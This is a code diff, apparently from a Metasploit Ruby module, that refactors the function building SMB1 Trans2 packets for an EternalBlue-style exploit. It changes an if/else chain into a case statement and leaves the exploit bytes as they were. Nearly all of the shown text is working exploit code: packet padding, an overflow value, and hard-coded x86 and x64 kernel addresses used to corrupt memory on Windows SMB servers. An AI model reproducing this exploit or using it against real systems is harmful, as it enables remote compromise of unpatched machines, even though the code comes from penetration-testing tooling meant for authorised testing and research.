@@ -438,62 +438,56 @@ def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
438
438
pkt = pkt [ 0 , packet . parameter_block . parameter_offset . abs_offset ]
439
439
pkt = nbss + pkt
440
440
441
- if type == :eb_trans2_exploit
442
- vprint_status ( "Making :eb_trans2_exploit packet" )
443
-
444
- pkt << "\x41 " * 2957
445
-
446
- pkt << "\x80 \x00 \xa8 \x00 " # overflow
447
-
448
- pkt << "\x00 " * 0x10
449
- pkt << "\xff \xff "
450
- pkt << "\x00 " * 0x6
451
- pkt << "\xff \xff "
452
- pkt << "\x00 " * 0x16
453
-
454
- pkt << "\x00 \xf1 \xdf \xff " # x86 addresses
455
- pkt << "\x00 " * 0x8
456
- pkt << "\x20 \xf0 \xdf \xff "
457
-
458
- pkt << "\x00 \xf1 \xdf \xff \xff \xff \xff \xff " # x64
459
-
460
- pkt << "\x60 \x00 \x04 \x10 "
461
- pkt << "\x00 " * 4
462
-
463
- pkt << "\x80 \xef \xdf \xff "
464
-
465
- pkt << "\x00 " * 4
466
- pkt << "\x10 \x00 \xd0 \xff \xff \xff \xff \xff "
467
- pkt << "\x18 \x01 \xd0 \xff \xff \xff \xff \xff "
468
- pkt << "\x00 " * 0x10
469
-
470
- pkt << "\x60 \x00 \x04 \x10 "
471
- pkt << "\x00 " * 0xc
472
- pkt << "\x90 \xff \xcf \xff \xff \xff \xff \xff "
473
- pkt << "\x00 " * 0x8
474
- pkt << "\x80 \x10 "
475
- pkt << "\x00 " * 0xe
476
- pkt << "\x39 "
477
- pkt << "\xbb "
478
-
479
- pkt << "\x41 " * 965
480
-
481
- return pkt
482
- end
483
-
484
- if type == :eb_trans2_zero
485
- vprint_status ( "Making :eb_trans2_zero packet" )
486
- pkt << "\x00 " * 2055
487
- pkt << "\x83 \xf3 "
488
- pkt << "\x41 " * 2039
489
- #pkt << "\x00" * 4096
490
- else
491
- vprint_status ( "Making :eb_trans2_buffer packet" )
492
- pkt << "\x41 " * 4096
441
+ case type
442
+ when :eb_trans2_exploit
443
+ vprint_status ( "Making :eb_trans2_exploit packet" )
444
+
445
+ pkt << "\x41 " * 2957
446
+
447
+ pkt << "\x80 \x00 \xa8 \x00 " # overflow
448
+
449
+ pkt << "\x00 " * 0x10
450
+ pkt << "\xff \xff "
451
+ pkt << "\x00 " * 0x6
452
+ pkt << "\xff \xff "
453
+ pkt << "\x00 " * 0x16
454
+
455
+ pkt << "\x00 \xf1 \xdf \xff " # x86 addresses
456
+ pkt << "\x00 " * 0x8
457
+ pkt << "\x20 \xf0 \xdf \xff "
458
+
459
+ pkt << "\x00 \xf1 \xdf \xff \xff \xff \xff \xff " # x64
460
+
461
+ pkt << "\x60 \x00 \x04 \x10 "
462
+ pkt << "\x00 " * 4
463
+
464
+ pkt << "\x80 \xef \xdf \xff "
465
+
466
+ pkt << "\x00 " * 4
467
+ pkt << "\x10 \x00 \xd0 \xff \xff \xff \xff \xff "
468
+ pkt << "\x18 \x01 \xd0 \xff \xff \xff \xff \xff "
469
+ pkt << "\x00 " * 0x10
470
+
471
+ pkt << "\x60 \x00 \x04 \x10 "
472
+ pkt << "\x00 " * 0xc
473
+ pkt << "\x90 \xff \xcf \xff \xff \xff \xff \xff "
474
+ pkt << "\x00 " * 0x8
475
+ pkt << "\x80 \x10 "
476
+ pkt << "\x00 " * 0xe
477
+ pkt << "\x39 "
478
+ pkt << "\xbb "
479
+
480
+ pkt << "\x41 " * 965
481
+ when :eb_trans2_zero
482
+ vprint_status ( "Making :eb_trans2_zero packet" )
483
+ pkt << "\x00 " * 2055
484
+ pkt << "\x83 \xf3 "
485
+ pkt << "\x41 " * 2039
486
+ else
487
+ vprint_status ( "Making :eb_trans2_buffer packet" )
488
+ pkt << "\x41 " * 4096
493
489
end
494
-
495
490
pkt
496
-
497
491
end
498
492
499
493
def make_smb1_nt_trans_packet ( tree_id , user_id )
0 commit comments